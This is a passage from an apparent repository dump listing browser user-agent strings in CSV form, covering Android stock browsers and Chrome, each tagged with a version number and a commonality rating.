Safari/999.9\",,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC0P3P7 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-ca; SGH-I827D Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; Y220-U00 Build/HUAWEIY220-U00) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.4.4; XT1080 Build/SU6-7.7),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; MT8000 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-au; GT-S6102 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; VS950 4G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.2.2; GT-P3113 Build/JDQ39),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-CA; B1-710 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30\",4.1,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; GT-N5110 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; GT-P3113 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; de-de; GT-P7501 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; es-us; GT-I9060M Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0PCV220/1.11.506.5 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; HTC_PN07120/1.26.502.15 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; da-dk; GT-P5100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.0; SM-G900F Build/LRX21T),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.2; en-ca; SGH-T589R Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.2; en-gb; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Lenovo A7600-F Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-ca; SGH-T999V Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-I9100 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; cs-cz; Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; TECNO N3 Build/master) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI G730-U10 Build/HuaweiG730-U10) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; ko-kr; SM-G720N0 Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; es-us; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; A1_07 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n"
  },
  {
    "path": "User Agents/csv/chrome.csv",
    "content": "ua,version,commonality\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Very common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Very common\n\"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Very common\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Very common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Very common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36\",43,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Very common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Very common\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Very common\n\"Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Very common\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Very common\n\"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Very common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Very common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 Safari/537.36\",41,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Very common\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36\",42,Very common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Very common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Very common\n\"Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Very common\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Very common\n\"Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Very common\n\"Mozilla/5.0 (Linux; Android 6.0.1; vivo 1603 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36\",58,Very common\n\"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Very common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Very common\n\"Mozilla/5.0 (Unknown; Linux) AppleWebKit/538.1 (KHTML, like Gecko) Chrome/v1.0.0 Safari/538.1\",v1,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Very common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36\",61,Very common\n\"Mozilla/5.0 (Linux; Android 6.0; vivo 1713 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36\",53,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Very common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Very common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Very common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Very common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\",45,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Very common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36\",41,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Very common\n\"Mozilla/5.0 (Linux; Android 6.0; vivo 1610 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.124 Mobile Safari/537.36\",53,Very common\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-G532G Build/MMB29T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.83 Mobile Safari/537.36\",63,Very common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Very common\n\"Mozilla/5.0 (Linux; Android 5.1.1; vivo X7 Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/48.0.2564.116 Mobile Safari/537.36 baiduboxapp/8.6.5 (Baidu; P1 5.1.1)\",48,Very common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Very common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Very common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36\",43,Very common\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Very common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\",41,Very common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Very common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Very common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Very common\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\",26,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36\",42,Common\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36\",43,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Common\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Linux; U) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.79 Safari/537.4\",22,Common\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.109 Safari/537.36\",59,Common\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Common\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Common\n\"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Common\n\"Mozilla/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\",54,Common\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.0.12195 Safari/537.36\",55,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Common\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36\",43,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 